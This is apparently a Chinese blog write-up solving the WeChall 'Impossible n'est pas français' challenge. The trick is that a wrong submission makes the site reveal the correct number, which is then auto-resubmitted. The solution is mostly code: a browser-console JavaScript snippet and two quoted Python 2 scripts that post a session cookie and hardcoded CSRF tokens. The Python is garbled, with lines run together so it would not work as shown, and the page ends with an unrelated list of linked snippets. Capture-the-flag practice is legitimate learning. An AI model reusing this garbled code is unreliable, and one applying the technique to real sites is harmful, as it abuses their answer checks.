Impossible n‘est pas français (Exploit) 答案
解决
直接说下做法。首先点击Click here to request a new number
请求一个数,然后任意提交一个错误答案,系统会将正确答案返回给我们。
所以题目的关键就是 快速将回显的答案提交过去。
JS
这是我自己写的js脚本。
text = document.getElementsByClassName("gwf_errors")[0].innerText
num = text.substr(40,text.length-41)
document.getElementsByTagName("tbody")[0].getElementsByTagName("input")[0].value = num
document.getElementsByTagName("tbody")[0].getElementsByTagName("input")[1].click()
首先f12打开开发者工具,切换到console面板,将上面代码粘贴上去,但是不要回车运行。
然后新标签打开请求新数链接,然后在answer输入框输入1
并提交。
这时候页面会出现正确答案。快速回车运行上面代码,成功!
python2
下面有两段python2代码可以参考一下。
这段代码来自OtherFiles/WeChall.md at master · lc4t/OtherFiles
import re
import requests
from bs4 import BeautifulSoup
cookie = {'WC': '你的cookie'
}def getNumber():url = 'http://www.wechall.net/challenge/impossible/index.php?request=new_number'result = requests.get(url, cookies=cookie)def getAnswer():getNumber()url = 'http://www.wechall.net/challenge/impossible/index.php'data = {'solution': '123','cmd': 'Send','gwf3_csrf': 'EioRwZvt'}result = requests.post(url, cookies=cookie, data=data)text = BeautifulSoup(result.text).get_text()answer = re.compile(r'"(\d+)"').findall(text)[0]return answerdef send():url = 'http://www.wechall.net/challenge/impossible/index.php'data = {'solution': getAnswer(),'cmd': 'Send','gwf3_csrf': 'EioRwZvt'}result = requests.post(url, cookies=cookie, data=data)print result.text# print 'Ok'send()
下面这段来自WeChall Journal | 陈文青
#!/usr/bin/env python
# coding=utf-8import lxml
import lxml.html as H
import requestscookie = {'WC': '你的cookie'
}def get_number():number_url = 'http://www.wechall.net/challenge/impossible/index.php?request=new_number'resp = requests.get(number_url, cookies=cookie)d = H.document_fromstring(resp.text)return str(d.xpath('//div[@id=\'page\']')[0].text_content()).strip()print get_number()def get_answer():post_data = {'solution': '1+12','cmd': 'Send','gwf3_csrf': '2XDoWTUR'}url = 'http://www.wechall.net/challenge/impossible/index.php' resp = requests.post(url, cookies=cookie, data=post_data)# print resp.textd = H.document_fromstring(resp.text)import rear = re.compile(r'"(\d+)"')text = d.xpath('//div[@class=\'gwf_errors\']/ul/li')[0].text_content()ans = ar.findall(text)[0]print ans post_data = {'solution': ans,'cmd': 'Send','gwf3_csrf': '2XDoWTUR'}resp = requests.post(url, cookies=cookie, data=post_data)print resp.textget_answer()
Impossible n‘est pas français (Exploit) 答案相关推荐
- 网络安全知识竞赛题库及答案(多选题1-100题)
1.在日常生活中,以下哪些选项容易造成我们的敏感信息被非法窃取? A.随意丢弃快递单或包裹(正确答案) B.定期更新各类平台的密码,密码中涵盖数字.大小写字母和特殊符号 C.电脑不设置锁屏密码(正确答 ...
- app pour android,Comment configurer Dell Mobile Connect pour Android
Cet article fournit un guide pour configurer un ordinateur Dell et un téléphone Android exécutant le ...
- 【渝粤题库】陕西师范大学202491 法语(一)作业
<法语>作业 I Faites des conjugaisons请写出下列动词的直陈式现在时的变位形式 parler : tu ____ sortir : je ____, nous __ ...
- signature=3cb79ad68e1de6fcae23aede975d0e4e,考研二外法语易错题汇总
时态 1.Dans un proche avenir, l'Internet ______ dans beaucoup de familles chinoises. A. sera entré B. ...
- 【渝粤题库】陕西师范大学202501 法语(二)作业
I Faites des conjugaisons请写出下列动词的变位形式 donner (直陈式简单将来时) nous , ils_ sortir (直陈式现在时) tu ____, ils ___ ...
- 渝粤题库 陕西师范大学 《法语》作业
<法语>作业 I Faites des conjugaisons请写出下列动词的直陈式现在时的变位形式 1. parler : tu ____ 2. sortir : je ___ ...
- From scikit-learn to Spark ML
From scikit-learn to Spark ML Yoann Benoit PartagerTweeter+ 1E-mail Dans un récent billet de blog de ...
- 我们的大脑,足以理解大脑本身吗?
来源: 利维坦 树突(红色)神经元的分支过程,接收突触信息的突出棘的渲染,以及来自小鼠大脑皮层的饱和重建(多色圆柱体).© Lichtman Lab at Harvard University 利维坦 ...
- 《97 Things Every Software Architect Should Know》读书笔记
(从网上搜集的,并且整理为DOC文档,希望大家可以从这篇文章中学到更多的东西, 我准备将该文档翻译成中文,大家可以不定期的访问我的博客http://blog.csdn.net/jianglike18) ...
最新文章
- 为什么大家都做不好社交这件事?
- springboot 使用 redis 管理session
- “私有云”安全的“过渡”时期-“云朵”方案的设计思路
- asp.net 中ascx、asmx、ashx等文件类型说明
- 三、数据预处理——处理分类型数据:编码与哑变量
- 永恒纪元服务器维护时间,永恒纪元各个阶段玩法攻略指南少走弯路
- 11.17牛客练习赛31 ABC-----未完
- 1978-2021中国统计年鉴、2003-2019(省、市面板数据)、1999-2019(县域面板数据)
- 关于网页视频下载方法及工具
- hihocoder 1403 后缀数组一·重复旋律 (后缀数组 + 二分)
- FPGA + labwindows/CVI 2017 串口通信 电子钟
- 卫生保健所短信群发模板:预约挂号、就诊提醒、检查结果通知
- 坐落尘世的繁华,幽眉清黛任花开花谢
- kali Linux隐藏IP教程,Kali Linux 设置动/静态IP地址以及修改DNS
- 什么是CART算法?怎么对CART进行建树?怎么对CART进行减枝叶?CART Python实现代码
- Python_Task09:文件与文件系统
- vue+uniapp+Stylus 实战小程序项目
- 交通或制图相关英文缩写记录(持续更新)
- 服务器连接工具 secureCRT
- IT领域关于什么(续)